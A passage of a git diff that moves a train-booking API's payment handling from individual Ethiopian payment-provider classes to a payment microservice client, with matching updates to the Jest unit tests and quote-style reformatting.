PaymentsService } from "./payments.service"; +import { PaymentClientService } from "./payment-client.service"; +import { PrismaService } from "../../common/prisma.service"; +import { SeatsService } from "../seats/seats.service"; +import { TicketsService } from "../tickets/tickets.service"; +import { EventEmitter2 } from "@nestjs/event-emitter"; +import { PaymentIntentStatus, PaymentMethodType } from "@prisma/client"; +import { BadRequestException, NotFoundException } from "@nestjs/common"; import { - TelebirrProvider, - CbeBirrProvider, - EBirrProvider, - CardProvider, -} from '@edr/payment-providers'; -import { PaymentIntentStatus, PaymentMethodType } from '@prisma/client'; -import { BadRequestException, NotFoundException } from '@nestjs/common'; + PaymentIntentSnapshot, + PaymentReferenceType, + PaymentService as PaymentServiceEnum, + ProviderMethod, + ProviderPaymentStatus, +} from "@edr/types"; -describe('PaymentsService', () => { +describe("PaymentsService", () => { let service: PaymentsService; let prisma: PrismaService; let seatsService: SeatsService; @@ -62,29 +64,25 @@ describe('PaymentsService', () => { emit: jest.fn(), }; - const mockTelebirrProvider = { - method: PaymentMethodType.TELEBIRR, + const mockPaymentClient = { initiate: jest.fn(), - queryStatus: jest.fn(), + getIntentByReference: jest.fn(), }; - const mockCbeBirrProvider = { - method: PaymentMethodType.CBE_BIRR, - initiate: jest.fn(), - queryStatus: jest.fn(), - }; - - const mockEBirrProvider = { - method: PaymentMethodType.EBIRR, - initiate: jest.fn(), - queryStatus: jest.fn(), - }; - - const mockCardProvider = { - method: PaymentMethodType.CARD, - initiate: jest.fn(), - queryStatus: jest.fn(), - }; + const requiresActionSnapshot = ( + provider: ProviderMethod, + ): PaymentIntentSnapshot => ({ + intentId: "remote-intent-1", + service: PaymentServiceEnum.PASSENGER, + referenceType: PaymentReferenceType.BOOKING, + referenceId: "booking-1", + merchantOrderId: "PSG-MERCH-123", + provider, + status: ProviderPaymentStatus.REQUIRES_ACTION, + amountMinor: 50000, + currency: "ETB", + clientAction: { type: "REDIRECT", url: "https://provider.example/pay" }, + }); beforeEach(async () => { const module: TestingModule = await Test.createTestingModule({ @@ -94,10 +92,7 @@ describe('PaymentsService', () => { { provide: SeatsService, useValue: mockSeatsService }, { provide: TicketsService, useValue: mockTicketsService }, { provide: EventEmitter2, useValue: mockEventEmitter }, - { provide: TelebirrProvider, useValue: mockTelebirrProvider }, - { provide: CbeBirrProvider, useValue: mockCbeBirrProvider }, - { provide: EBirrProvider, useValue: mockEBirrProvider }, - { provide: CardProvider, useValue: mockCardProvider }, + { provide: PaymentClientService, useValue: mockPaymentClient }, ], }).compile(); @@ -108,221 +103,276 @@ describe('PaymentsService', () => { eventEmitter = module.get(EventEmitter2); jest.clearAllMocks(); + mockPaymentClient.getIntentByReference.mockResolvedValue(null); }); - describe('initiatePayment', () => { + describe("initiatePayment", () => { const mockBooking = { - id: 'booking-1', - bookingRef: 'EDR123456', - passengerId: 'passenger-1', + id: "booking-1", + bookingRef: "EDR123456", + passengerId: "passenger-1", totalMinor: 50000, - currency: 'ETB', - status: 'PENDING_PAYMENT', - seats: [{ id: 'seat-1', seatId: 'seat-id-1' }], + currency: "ETB", + status: "PENDING_PAYMENT", + seats: [{ id: "seat-1", seatId: "seat-id-1" }], }; - it('should throw NotFoundException if booking not found', async () => { + it("should throw NotFoundException if booking not found", async () => { mockPrisma.booking.findUnique.mockResolvedValue(null); await expect( service.initiatePayment({ - bookingId: 'invalid', - method: 'TELEBIRR' as any, + bookingId: "invalid", + method: "TELEBIRR" as any, }), ).rejects.toThrow(NotFoundException); }); - it('should throw BadRequestException if booking not payable', async () => { + it("should throw BadRequestException if booking not payable", async () => { mockPrisma.booking.findUnique.mockResolvedValue({ ...mockBooking, - status: 'CONFIRMED', + status: "CONFIRMED", }); await expect( service.initiatePayment({ - bookingId: 'booking-1', - method: 'TELEBIRR' as any, + bookingId: "booking-1", + method: "TELEBIRR" as any, }), ).rejects.toThrow(BadRequestException); }); - it('should initiate Telebirr payment successfully', async () => { + it("should initiate a provider payment through the payment microservice", async () => { mockPrisma.booking.findUnique.mockResolvedValue(mockBooking); - mockPrisma.paymentIntent.findUnique.mockResolvedValue(null); - mockTelebirrProvider.initiate.mockResolvedValue({ - providerOrderId: 'TB-ORDER-123', - clientAction: { type: 'REDIRECT', url: 'https://telebirr.com/pay' }, - expiresAt: new Date(), - rawInitiation: {}, - }); + mockPaymentClient.initiate.mockResolvedValue( + requiresActionSnapshot(ProviderMethod.TELEBIRR), + ); mockPrisma.paymentIntent.upsert.mockResolvedValue({ - id: 'intent-1', + id: "intent-1", status: PaymentIntentStatus.REQUIRES_ACTION, - merchantOrderId: 'MERCH-123', - clientAction: { type: 'REDIRECT', url: 'https://telebirr.com/pay' }, + merchantOrderId: "PSG-MERCH-123", + clientAction: { type: "REDIRECT", url: "https://provider.example/pay" }, }); const result = await service.initiatePayment({ - bookingId: 'booking-1', - method: 'TELEBIRR' as any, + bookingId: "booking-1", + method: "TELEBIRR" as any, }); expect(result.status).toBe(PaymentIntentStatus.REQUIRES_ACTION); - expect(mockTelebirrProvider.initiate).toHaveBeenCalled(); + expect(result.clientAction?.url).toBe("https://provider.example/pay"); + expect(mockPaymentClient.initiate).toHaveBeenCalledWith( + expect.objectContaining({ + service: PaymentServiceEnum.PASSENGER, + referenceType: PaymentReferenceType.BOOKING, + referenceId: "booking-1", + orderRef: "EDR123456", + amountMinor: 50000, + currency: "ETB", + provider: "TELEBIRR", + }), + ); + // Snapshot mirrored into the local projection. + expect(mockPrisma.paymentIntent.upsert).toHaveBeenCalledWith( + expect.objectContaining({ where: { bookingId: "booking-1" } }), + ); }); - it('should initiate CBE Birr payment successfully', async () => { + it("should finalize the booking when the service reports an already-paid intent", async () => { mockPrisma.booking.findUnique.mockResolvedValue(mockBooking); - mockPrisma.paymentIntent.findUnique.mockResolvedValue(null); - mockCbeBirrProvider.initiate.mockResolvedValue({ - providerOrderId: 'CBE-ORDER-123', - clientAction: { type: 'REDIRECT', url: 'https://cbe.com/pay' }, - expiresAt: new Date(), - rawInitiation: {}, + mockPaymentClient.initiate.mockResolvedValue({ + ...requiresActionSnapshot(ProviderMethod.WAAFI), + status: ProviderPaymentStatus.SUCCEEDED, + providerTxnId: "TXN-1", + paidAt: new Date().toISOString(), }); + // Projection clamps SUCCEEDED to PROCESSING; finalizePaymentSuccess flips it. mockPrisma.paymentIntent.upsert.mockResolvedValue({ - id: 'intent-1', - status: PaymentIntentStatus.REQUIRES_ACTION, - merchantOrderId: 'MERCH-123', - clientAction: { type: 'REDIRECT', url: 'https://cbe.com/pay' }, + id: "intent-1", + bookingId: "booking-1", + status: PaymentIntentStatus.PROCESSING, }); - - const result = await service.initiatePayment({ - bookingId: 'booking-1', - method: 'CBE_BIRR' as any, - }); - - expect(result.status).toBe(PaymentIntentStatus.REQUIRES_ACTION); - expect(mockCbeBirrProvider.initiate).toHaveBeenCalled(); - }); - - it('should initiate wallet payment and debit successfully', async () => { - mockPrisma.booking.findUnique.mockResolvedValue(mockBooking); - mockPrisma.paymentIntent.findUnique.mockResolvedValue(null); - mockPrisma.walletAccount.findUnique.mockResolvedValue({ - id: 'wallet-1', - passengerId: 'passenger-1', - balanceMinor: 100000, - }); - mockPrisma.paymentIntent.upsert.mockResolvedValue({ - id: 'intent-1', + mockPrisma.paymentIntent.findUnique.mockResolvedValue({ + id: "intent-1", + bookingId: "booking-1", status: PaymentIntentStatus.PROCESSING, }); mockPrisma.paymentIntent.findUniqueOrThrow.mockResolvedValue({ - id: 'intent-1', + id: "intent-1", status: PaymentIntentStatus.SUCCEEDED, - bookingId: 'booking-1', + merchantOrderId: "PSG-MERCH-123", + }); + mockPrisma.loyaltyAccount.findUnique.mockResolvedValue(null); + + const result = await service.initiatePayment({ + bookingId: "booking-1", + method: "WAAFI" as any, + }); + + expect(result.status).toBe(PaymentIntentStatus.SUCCEEDED); + expect(mockTicketsService.generate).toHaveBeenCalledWith("booking-1"); + }); + + it("should initiate wallet payment and debit successfully", async () => { + mockPrisma.booking.findUnique.mockResolvedValue(mockBooking); + // First call: existing-intent check (none); second call: finalize loads the new intent. + mockPrisma.paymentIntent.findUnique + .mockResolvedValueOnce(null) + .mockResolvedValue({ + id: "intent-1", + bookingId: "booking-1", + status: PaymentIntentStatus.PROCESSING, + }); + mockPrisma.walletAccount.findUnique.mockResolvedValue({ + id: "wallet-1", + passengerId: "passenger-1", + balanceMinor: 100000, + }); + mockPrisma.paymentIntent.upsert.mockResolvedValue({ + id: "intent-1", + status: PaymentIntentStatus.PROCESSING, + }); + mockPrisma.paymentIntent.findUniqueOrThrow.mockResolvedValue({ + id: "intent-1", + status: PaymentIntentStatus.SUCCEEDED, + bookingId: "booking-1", }); mockPrisma.loyaltyAccount.findUnique.mockResolvedValue({ - id: 'loyalty-1', + id: "loyalty-1", pointsBalance: 100, }); const result = await service.initiatePayment({ - bookingId: 'booking-1', - method: 'WALLET' as any, + bookingId: "booking-1", + method: "WALLET" as any, }); expect(result.status).toBe(PaymentIntentStatus.SUCCEEDED); expect(mockSeatsService.confirmSeats).toHaveBeenCalled(); expect(mockTicketsService.generate).toHaveBeenCalled(); + expect(mockPaymentClient.initiate).not.toHaveBeenCalled(); }); - it('should fail wallet payment with insufficient balance', async () => { + it("should fail wallet payment with insufficient balance", async () => { mockPrisma.booking.findUnique.mockResolvedValue(mockBooking); mockPrisma.paymentIntent.findUnique.mockResolvedValue(null); mockPrisma.walletAccount.findUnique.mockResolvedValue({ - id: 'wallet-1', - passengerId: 'passenger-1', + id: "wallet-1", + passengerId: "passenger-1", balanceMinor: 10000, // Less than booking total }); mockPrisma.paymentIntent.upsert.mockResolvedValue({ - id: 'intent-1', + id: "intent-1", status: PaymentIntentStatus.FAILED, - failureCode: 'INSUFFICIENT_BALANCE', + failureCode: "INSUFFICIENT_BALANCE", }); const result = await service.initiatePayment({ - bookingId: 'booking-1', - method: 'WALLET' as any, + bookingId: "booking-1", + method: "WALLET" as any, }); expect(result.status).toBe(PaymentIntentStatus.FAILED); }); }); - describe('finalizePaymentSuccess', () => { - it('should finalize payment and issue ticket', async () => { + describe("finalizePaymentSuccess", () => { + it("should finalize payment and issue ticket", async () => { const mockIntent = { - id: 'intent-1', - bookingId: 'booking-1', + id: "intent-1", + bookingId: "booking-1", status: PaymentIntentStatus.PROCESSING, }; const mockBooking = { - id: 'booking-1', - passengerId: 'passenger-1', + id: "booking-1", + passengerId: "passenger-1", totalMinor: 50000, - seats: [{ seatId: 'seat-1' }], + seats: [{ seatId: "seat-1" }], }; mockPrisma.paymentIntent.findUnique.mockResolvedValue(mockIntent); mockPrisma.booking.findUnique.mockResolvedValue(mockBooking); mockPrisma.loyaltyAccount.findUnique.mockResolvedValue({ - id: 'loyalty-1', + id: "loyalty-1", pointsBalance: 100, }); const result = await service.finalizePaymentSuccess({ - intentId: 'intent-1', - providerTxnId: 'TXN-123', + intentId: "intent-1", + providerTxnId: "TXN-123", }); expect(result.alreadyFinalized).toBe(false); - expect(mockSeatsService.confirmSeats).toHaveBeenCalledWith(['seat-1']); - expect(mockTicketsService.generate).toHaveBeenCalledWith('booking-1'); - expect(mockEventEmitter.emit).toHaveBeenCalledWith('payment.succeeded', { + expect(mockSeatsService.confirmSeats).toHaveBeenCalledWith(["seat-1"]); + expect(mockTicketsService.generate).toHaveBeenCalledWith("booking-1"); + expect(mockEventEmitter.emit).toHaveBeenCalledWith("payment.succeeded", { booking: mockBooking, }); }); - it('should return alreadyFinalized if payment already succeeded', async () => { + it("should return alreadyFinalized if payment already succeeded", async () => { mockPrisma.paymentIntent.findUnique.mockResolvedValue({ - id: 'intent-1', + id: "intent-1", status: PaymentIntentStatus.SUCCEEDED, }); const result = await service.finalizePaymentSuccess({ - intentId: 'intent-1', + intentId: "intent-1", }); expect(result.alreadyFinalized).toBe(true); }); }); - describe('getIntentByBookingId', () => { - it('should return intent status', async () => { + describe("getIntentByBookingId", () => { + it("should return the cached local intent when the payment service has none", async () => { const mockIntent = { - id: 'intent-1', - bookingId: 'booking-1', + id: "intent-1", + bookingId: "booking-1", status: PaymentIntentStatus.SUCCEEDED, method: PaymentMethodType.TELEBIRR, paidAt: new Date(), - merchantOrderId: 'MERCH-123', + merchantOrderId: "MERCH-123", updatedAt: new Date(), }; mockPrisma.paymentIntent.findUnique.mockResolvedValue(mockIntent); + mockPaymentClient.getIntentByReference.mockResolvedValue(null); - const result = await service.getIntentByBookingId('booking-1'); + const result = await service.getIntentByBookingId("booking-1"); - expect(result.intentId).toBe('intent-1'); + expect(result.intentId).toBe("intent-1"); expect(result.status).toBe(PaymentIntentStatus.SUCCEEDED); }); - it('should throw NotFoundException if intent not found', async () => { + it("should mirror a payment-service snapshot into the local projection", async () => { mockPrisma.paymentIntent.findUnique.mockResolvedValue(null); + mockPaymentClient.getIntentByReference.mockResolvedValue( + requiresActionSnapshot(ProviderMethod.WAAFI), + ); + mockPrisma.paymentIntent.upsert.mockResolvedValue({ + id: "intent-1", + bookingId: "booking-1", + status: PaymentIntentStatus.REQUIRES_ACTION, + merchantOrderId: "PSG-MERCH-123", + clientAction: { type: "REDIRECT", url: "https://provider.example/pay" }, + }); - await expect(service.getIntentByBookingId('invalid')).rejects.toThrow( + const result = await service.getIntentByBookingId("booking-1"); + + expect(mockPaymentClient.getIntentByReference).toHaveBeenCalledWith( + PaymentReferenceType.BOOKING, + "booking-1", + ); + expect(result.status).toBe(PaymentIntentStatus.REQUIRES_ACTION); + expect(result.clientAction?.url).toBe("https://provider.example/pay"); + }); + + it("should throw NotFoundException if intent not found anywhere", async () => { + mockPrisma.paymentIntent.findUnique.mockResolvedValue(null); + mockPaymentClient.getIntentByReference.mockResolvedValue(null); + + await expect(service.getIntentByBookingId("invalid")).rejects.toThrow( NotFoundException, ); }); diff --git a/apps/edr-passenger-api/src/modules/payments/payments.service.ts b/apps/edr-passenger-api/src/modules/payments/payments.service.ts index 766ae6abe..fe80ae88e 100644 --- a/apps/edr-passenger-api/src/modules/payments/payments.service.ts +++ b/apps/edr-passenger-api/src/modules/payments/payments.service.ts @@ -1,22 +1,37 @@ -import { Injectable, Logger, NotFoundException, BadRequestException } from '@nestjs/common'; -import { PrismaService } from '../../common/prisma.service'; -import { SeatsService } from '../seats/seats.service'; -import { TicketsService } from '../tickets/tickets.service'; -import { EventEmitter2 } from '@nestjs/event-emitter'; -import { Prisma, PaymentIntentStatus, PaymentMethodType, PaymentRegion } from '@prisma/client'; -import { InitiatePaymentDto, RefundDto, AddPaymentMethodDto, InitiateResponseDto, IntentStatusDto, PaymentRegionEnum } from './payments.dto'; import { + Injectable, + Logger, + NotFoundException, + BadRequestException, +} from "@nestjs/common"; +import { PrismaService } from "../../common/prisma.service"; +import { SeatsService } from "../seats/seats.service"; +import { TicketsService } from "../tickets/tickets.service"; +import { EventEmitter2 } from "@nestjs/event-emitter"; +import { + Prisma, + PaymentIntentStatus, + PaymentMethodType, + PaymentRegion, +} from "@prisma/client"; +import { + InitiatePaymentDto, + RefundDto, + AddPaymentMethodDto, + InitiateResponseDto, + IntentStatusDto, + PaymentRegionEnum, +} from "./payments.dto"; +import { PaymentEventDto, MarkPaidResponseDto } from "./internal-payments.dto"; +import { PaymentClientService } from "./payment-client.service"; +import { + PaymentService as PaymentServiceEnum, + PaymentReferenceType, + PaymentIntentSnapshot, + ProviderMethod, ClientAction, - PaymentProvider, - ProviderStatus, ProviderPaymentStatus, - TelebirrProvider, - CbeBirrProvider, - EBirrProvider, - CardProvider, - WaafiProvider, - createMerchantOrderId, -} from '@edr/payment-providers'; +} from "@edr/types"; const NON_TERMINAL_STATUSES: PaymentIntentStatus[] = [ PaymentIntentStatus.REQUIRES_ACTION, @@ -27,37 +42,30 @@ const NON_TERMINAL_STATUSES: PaymentIntentStatus[] = [ @Injectable() export class PaymentsService { private readonly logger = new Logger(PaymentsService.name); - private readonly providers: Map; constructor( private prisma: PrismaService, private seatsService: SeatsService, private ticketsService: TicketsService, private eventEmitter: EventEmitter2, - private telebirrProvider: TelebirrProvider, - private cbeBirrProvider: CbeBirrProvider, - private eBirrProvider: EBirrProvider, - private cardProvider: CardProvider, - private waafiProvider: WaafiProvider, - ) { - this.providers = new Map([ - [PaymentMethodType.TELEBIRR, this.telebirrProvider], - [PaymentMethodType.CBE_BIRR, this.cbeBirrProvider], - [PaymentMethodType.EBIRR, this.eBirrProvider], - [PaymentMethodType.CARD, this.cardProvider], - [PaymentMethodType.WAAFI, this.waafiProvider], - ]); - } + private paymentClient: PaymentClientService, + ) {} - async getAll(filters: { search?: string; status?: string; method?: string; page?: number; pageSize?: number }) { + async getAll(filters: { + search?: string; + status?: string; + method?: string; + page?: number; + pageSize?: number; + }) { const { search, status, method, page = 1, pageSize = 10 } = filters; const skip = (page - 1) * pageSize; const where: any = {}; if (search) { where.OR = [ - { id: { contains: search, mode: 'insensitive' } }, - { booking: { bookingRef: { contains: search, mode: 'insensitive' } } }, + { id: { contains: search, mode: "insensitive" } }, + { booking: { bookingRef: { contains: search, mode: "insensitive" } } }, ]; } if (status) { @@ -73,13 +81,13 @@ export class PaymentsService { include: { booking: true }, skip, take: pageSize, - orderBy: { createdAt: 'desc' }, + orderBy: { createdAt: "desc" }, }), this.prisma.paymentIntent.count({ where }), ]); return { - items: items.map(item => ({ + items: items.map((item) => ({ id: item.id, reference: item.id.substring(0, 8), bookingId: item.bookingId, @@ -102,30 +110,87 @@ export class PaymentsService { where: { id: dto.bookingId }, include: { seats: true }, }); - if (!booking) throw new NotFoundException('Booking not found'); - if (booking.status !== 'PENDING_PAYMENT') { - throw new BadRequestException('Booking not payable'); - } - - const existing = await this.prisma.paymentIntent.findUnique({ - where: { bookingId: dto.bookingId }, - }); - if (existing && NON_TERMINAL_STATUSES.includes(existing.status)) { - return this.formatIntentResponse(existing); + if (!booking) throw new NotFoundException("Booking not found"); + if (booking.status !== "PENDING_PAYMENT") { + throw new BadRequestException("Booking not payable"); } const method = dto.method as PaymentMethodType; + // WALLET is an internal balance debit — it never leaves this app. if (method === PaymentMethodType.WALLET) { + const existing = await this.prisma.paymentIntent.findUnique({ + where: { bookingId: dto.bookingId }, + }); + if (existing && NON_TERMINAL_STATUSES.includes(existing.status)) { + return this.formatIntentResponse(existing); + } return this.initiateWalletPayment(booking); } - const provider = this.providers.get(method); - if (provider) { - return this.initiateProviderPayment(booking, provider, dto.platform); - } + // Provider methods go through the payment microservice (docs/payment-service §7.1): + // it owns the intent, the provider session, and the single webhook per provider. + // Re-initiating is safe — the service returns the existing active intent (idempotent). + const snapshot = await this.paymentClient.initiate({ + service: PaymentServiceEnum.PASSENGER, + referenceType: PaymentReferenceType.BOOKING, + referenceId: booking.id, + orderRef: booking.bookingRef, + amountMinor: booking.totalMinor, + currency: booking.currency, + provider: method as unknown as ProviderMethod, + platform: dto.platform, + // PASSENGER-owned browser bounce-back after the hosted page (freight passes its own). + // UX only — payment is confirmed by the webhook/mark-paid event, never this redirect. + returnUrl: process.env.PAYMENT_RETURN_URL || undefined, + failureUrl: process.env.PAYMENT_FAILURE_URL || undefined, + }); - throw new BadRequestException(`Unsupported payment method: ${method}`); + let intent = await this.syncIntentProjection(booking.id, snapshot); + if (snapshot.status === ProviderPaymentStatus.SUCCEEDED) { + // Already-paid order re-initiated: converge the booking now (idempotent). + await this.finalizePaymentSuccess({ + intentId: intent.id, + providerTxnId: snapshot.providerTxnId, + paidAt: snapshot.paidAt ? new Date(snapshot.paidAt) : undefined, + }); + intent = await this.prisma.paymentIntent.findUniqueOrThrow({ + where: { id: intent.id }, + }); + } + return this.formatIntentResponse(intent); + } + + private async syncIntentProjection( + bookingId: string, + snapshot: PaymentIntentSnapshot, + ) { + const status = + snapshot.status === ProviderPaymentStatus.SUCCEEDED + ? PaymentIntentStatus.PROCESSING + : (snapshot.status as unknown as PaymentIntentStatus); + const data = { + status, + method: snapshot.provider as unknown as PaymentMethodType, + merchantOrderId: snapshot.merchantOrderId, + clientAction: snapshot.clientAction + ? (snapshot.clientAction as unknown as Prisma.InputJsonValue) + : Prisma.DbNull, + providerTxnId: snapshot.providerTxnId ?? null, + expiresAt: snapshot.expiresAt ? new Date(snapshot.expiresAt) : null, + failureCode: snapshot.failureCode ?? null, + failureMessage: snapshot.failureMessage ?? null, + }; + return this.prisma.paymentIntent.upsert({ + where: { bookingId }, + update: data, + create: { + bookingId, + amountMinor: snapshot.amountMinor, + currency: snapshot.currency, + ...data, + }, + }); } private async initiateWalletPayment( @@ -146,7 +211,7 @@ export class PaymentsService { await tx.walletLedgerEntry.create({ data: { walletId: wallet.id, - type: 'DEBIT', + type: "DEBIT", amountMinor: booking.totalMinor, balanceAfterMinor: newBalance, description: `Train Ticket - ${booking.bookingRef}`, @@ -161,14 +226,14 @@ export class PaymentsService { where: { bookingId: booking.id }, update: { status: PaymentIntentStatus.FAILED, - failureCode: 'INSUFFICIENT_BALANCE', + failureCode: "INSUFFICIENT_BALANCE", }, create: { bookingId: booking.id, amountMinor: booking.totalMinor, method: PaymentMethodType.WALLET, status: PaymentIntentStatus.FAILED, - failureCode: 'INSUFFICIENT_BALANCE', + failureCode: "INSUFFICIENT_BALANCE", }, }); return this.formatIntentResponse(failed); @@ -192,55 +257,11 @@ export class PaymentsService { return this.formatIntentResponse(refreshed); } - private async initiateProviderPayment( - booking: Prisma.BookingGetPayload<{ include: { seats: true } }>, - provider: PaymentProvider, - platform: 'web' | 'mobile' | undefined, - ): Promise { - const merchantOrderId = createMerchantOrderId(); - const result = await provider.initiate({ - merchantOrderId, - orderRef: booking.bookingRef, - amountMinor: booking.totalMinor, - currency: booking.currency, - platform, - }); - - const providerMethod = provider.method as unknown as PaymentMethodType; - const intent = await this.prisma.paymentIntent.upsert({ - where: { bookingId: booking.id }, - update: { - status: PaymentIntentStatus.REQUIRES_ACTION, - method: providerMethod, - merchantOrderId, - providerOrderId: result.providerOrderId, - clientAction: result.clientAction as unknown as Prisma.InputJsonValue, - rawInitiation: result.rawInitiation as Prisma.InputJsonValue, - expiresAt: result.expiresAt, - failureCode: null, - failureMessage: null, - }, - create: { - bookingId: booking.id, - amountMinor: booking.totalMinor, - currency: booking.currency, - method: providerMethod, - status: PaymentIntentStatus.REQUIRES_ACTION, - merchantOrderId, - providerOrderId: result.providerOrderId, - clientAction: result.clientAction as unknown as Prisma.InputJsonValue, - rawInitiation: result.rawInitiation as Prisma.InputJsonValue, - expiresAt: result.expiresAt, - }, - }); - return this.formatIntentResponse(intent); - } - private formatIntentResponse( intent: Prisma.PaymentIntentGetPayload>, ): InitiateResponseDto { const clientAction = - intent.clientAction && typeof intent.clientAction === 'object' + intent.clientAction && typeof intent.clientAction === "object" ? (intent.clientAction as unknown as ClientAction) : undefined; return { @@ -252,65 +273,52 @@ export class PaymentsService { } async getIntentByBookingId(bookingId: string): Promise { - const intent = await this.prisma.paymentIntent.findUnique({ + const local = await this.prisma.paymentIntent.findUnique({ where: { bookingId }, }); - if (!intent) throw new NotFoundException('PaymentIntent not found'); - const refreshable = - intent.status === PaymentIntentStatus.REQUIRES_ACTION || - intent.status === PaymentIntentStatus.PROCESSING; - const stale = intent.updatedAt.getTime() < Date.now() - 5_000; - const provider = this.providers.get(intent.method); - - if (refreshable && stale && intent.merchantOrderId && provider) { - try { - const status = await provider.queryStatus(intent.merchantOrderId); - this.logger.log(status); - await this.applyProviderStatus(intent.id, status); - const refreshed = await this.prisma.paymentIntent.findUniqueOrThrow({ - where: { id: intent.id }, - }); - return this.formatIntentStatus(refreshed); - } catch (err) { - const message = err instanceof Error ? err.message : String(err); - this.logger.warn( - `queryStatus failed for intent ${intent.id}: ${message}; returning cached`, - ); - } + // WALLET payments never leave this app — no remote intent exists for them. + if (local?.method === PaymentMethodType.WALLET) { + return this.formatIntentStatus(local); } - return this.formatIntentStatus(intent); - } + // Pull/reconcile through the payment microservice (it refreshes stale intents from the + // provider itself). Falls back to the legacy local path when the service is unreachable + // or only a pre-cutover local intent exists. + let snapshot: PaymentIntentSnapshot | null = null; + try { + snapshot = await this.paymentClient.getIntentByReference( + PaymentReferenceType.BOOKING, + bookingId, + ); + } catch (err) { + const message = err instanceof Error ? err.message : String(err); + this.logger.warn( + `payment service lookup failed for booking ${bookingId}: ${message}; using local intent`, + ); + } - private async applyProviderStatus( - intentId: string, - status: ProviderStatus, - ): Promise { - const bizContent = (status.rawResponse as { biz_content?: { order_status?: string } }) - ?.biz_content; - if (bizContent?.order_status === 'PAY_SUCCESS') { + if (!snapshot) { + // Pre-cutover/local-only intent (or service briefly unreachable): serve the cached + // status. The payment service owns provider refresh for everything initiated after + // the cutover; webhooks/mark-paid converge the rest. + if (!local) throw new NotFoundException("PaymentIntent not found"); + return this.formatIntentStatus(local); + } + + let intent = await this.syncIntentProjection(bookingId, snapshot); + if (snapshot.status === ProviderPaymentStatus.SUCCEEDED) { + // Poll observed success before (or instead of) the mark-paid event — converge now. await this.finalizePaymentSuccess({ - intentId, - providerTxnId: status.providerTxnId, + intentId: intent.id, + providerTxnId: snapshot.providerTxnId, + paidAt: snapshot.paidAt ? new Date(snapshot.paidAt) : undefined, }); - return; - } - if (status.status === ProviderPaymentStatus.FAILED) { - await this.markPaymentFailed({ - intentId, - failureCode: status.failureCode, - failureMessage: status.failureMessage, + intent = await this.prisma.paymentIntent.findUniqueOrThrow({ + where: { id: intent.id }, }); - return; } - await this.prisma.paymentIntent.update({ - where: { id: intentId }, - data: { - status: status.status as unknown as PaymentIntentStatus, - providerTxnId: status.providerTxnId ?? undefined, - }, - }); + return this.formatIntentStatus(intent); } private formatIntentStatus( @@ -326,13 +334,25 @@ export class PaymentsService { } async refund(dto: RefundDto) { - const intent = await this.prisma.paymentIntent.findUnique({ where: { bookingId: dto.bookingId } }); - if (!intent || intent.status !== 'SUCCEEDED') throw new BadRequestException('No successful payment to refund'); - await this.prisma.paymentIntent.update({ where: { bookingId: dto.bookingId }, data: { status: 'CANCELLED' } }); - const booking = await this.prisma.booking.findUnique({ where: { id: dto.bookingId }, include: { seats: true } }); + const intent = await this.prisma.paymentIntent.findUnique({ + where: { bookingId: dto.bookingId }, + }); + if (!intent || intent.status !== "SUCCEEDED") + throw new BadRequestException("No successful payment to refund"); + await this.prisma.paymentIntent.update({ + where: { bookingId: dto.bookingId }, + data: { status: "CANCELLED" }, + }); + const booking = await this.prisma.booking.findUnique({ + where: { id: dto.bookingId }, + include: { seats: true }, + }); if (booking) { await this.seatsService.releaseSeats(booking.seats.map((s) => s.seatId)); - await this.prisma.booking.update({ where: { id: dto.bookingId }, data: { status: 'CANCELLED' } }); + await this.prisma.booking.update({ + where: { id: dto.bookingId }, + data: { status: "CANCELLED" }, + }); } return { refunded: true, bookingRef: booking?.bookingRef }; } @@ -342,7 +362,7 @@ export class PaymentsService { type: dto.type as unknown as PaymentMethodType, displayName: dto.displayName, region: dto.region as unknown as PaymentRegion, - currency: dto.currency ?? 'ETB', + currency: dto.currency ?? "ETB", providerId: dto.providerId, enabled: dto.enabled ?? true, sortOrder: dto.sortOrder ?? 0, @@ -359,10 +379,17 @@ export class PaymentsService { where: { enabled: true, ...(region - ? { region: { in: [region, PaymentRegionEnum.GLOBAL] as unknown as PaymentRegion[] } } + ? { + region: { + in: [ + region, + PaymentRegionEnum.GLOBAL, + ] as unknown as PaymentRegion[], + }, + } : {}), }, - orderBy: [{ sortOrder: 'asc' }, { displayName: 'asc' }], + orderBy: [{ sortOrder: "asc" }, { displayName: "asc" }], }); } @@ -374,19 +401,21 @@ export class PaymentsService { const intent = await this.prisma.paymentIntent.findUnique({ where: { id: input.intentId }, }); - if (!intent) throw new NotFoundException('PaymentIntent not found'); + if (!intent) throw new NotFoundException("PaymentIntent not found"); if (intent.status === PaymentIntentStatus.SUCCEEDED) { return { alreadyFinalized: true }; } if (intent.status === PaymentIntentStatus.CANCELLED) { - throw new BadRequestException('PaymentIntent is cancelled; cannot finalize'); + throw new BadRequestException( + "PaymentIntent is cancelled; cannot finalize", + ); } const booking = await this.prisma.booking.findUnique({ where: { id: intent.bookingId }, include: { seats: true }, }); - if (!booking) throw new NotFoundException('Booking not found'); + if (!booking) throw new NotFoundException("Booking not found"); const paidAt = input.paidAt ?? new Date(); await this.prisma.$transaction(async (tx) => { @@ -394,45 +423,134 @@ export class PaymentsService { where: { id: intent.id }, data: { status: PaymentIntentStatus.SUCCEEDED, - providerTxnId: input.providerTxnId ?? intent.providerTxnId ?? undefined, + providerTxnId: + input.providerTxnId ?? intent.providerTxnId ?? undefined, paidAt, }, }); await tx.booking.update({ where: { id: booking.id }, - data: { status: 'CONFIRMED' }, + data: { status: "CONFIRMED" }, }); }); try { await this.seatsService.confirmSeats(booking.seats.map((s) => s.seatId)); } catch (err) { - this.logger.error(`Error confirming seats: ${err instanceof Error ? err.message : String(err)}`); + this.logger.error( + `Error confirming seats: ${err instanceof Error ? err.message : String(err)}`, + ); } try { await this.createJourneySegments(booking); } catch (err) { - this.logger.error(`Error creating journey segments: ${err instanceof Error ? err.message : String(err)}`); + this.logger.error( + `Error creating journey segments: ${err instanceof Error ? err.message : String(err)}`, + ); } try { await this.ticketsService.generate(booking.id); } catch (err) { - this.logger.error(`Error generating ticket: ${err instanceof Error ? err.message : String(err)}`); + this.logger.error( + `Error generating ticket: ${err instanceof Error ? err.message : String(err)}`, + ); throw err; } try { - await this.awardLoyaltyPoints(booking.passengerId, booking.totalMinor, booking.id); + await this.awardLoyaltyPoints( + booking.passengerId, + booking.totalMinor, + booking.id, + ); } catch (err) { - this.logger.warn(`Error awarding loyalty points: ${err instanceof Error ? err.message : String(err)}`); + this.logger.warn( + `Error awarding loyalty points: ${err instanceof Error ? err.message : String(err)}`, + ); } - this.eventEmitter.emit('payment.succeeded', { booking }); + this.eventEmitter.emit("payment.succeeded", { booking }); return { alreadyFinalized: false }; } + async handlePaymentEvent( + event: 